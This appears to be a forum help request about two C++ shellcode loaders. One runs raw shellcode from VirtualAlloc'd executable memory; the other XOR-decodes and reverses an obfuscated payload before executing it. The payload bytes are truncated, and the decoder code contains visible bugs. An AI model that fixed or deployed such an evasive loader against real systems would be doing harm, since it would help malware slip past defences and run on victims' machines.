I am having a hard time figuring out why the payload isn't working after reversing in decoder2.cpp. When I "cout" the output of the "Reverse(input);" I get a valid shellcode and can be inserted into decoder1.cpp without any problems. decoder1.cpp Code: int main() { //char code[] = "\xfc\xe8\x8f..."; // INSERT SHELLCODE HERE void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, input, sizeof input); ((void(*)())exec)(); return 0; } decoder2.cpp Code: void XORChiper(char orignalString[], int xorKey) { int len = strlen(orignalString); for (int i = 0; i < len; i++){ orignalString = orignalString ^ xorKey; } } void Reverse(char name[]) { int nameLength = strlen(name)-1; for(int currentChar=0; currentChar < nameLength; --nameLength, ++currentChar) { char temp = name[currentChar]; name[currentChar] = name[nameLength]; name[nameLength] = temp; } } int main(void) { char input[] = "7>[7>[2c[aa[42[77..."; int calc_len = sizeof(input); int key = 7; XORChiper(input,key); Reverse(input); void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, input, sizeof input); ((void(*)())exec)(); return 0; } Again the cout "Reverse(input);" shellcode in the decoder2.cpp is inserted in with decoder1.cpp and it runs flawlessly but not with decooder2.cpp.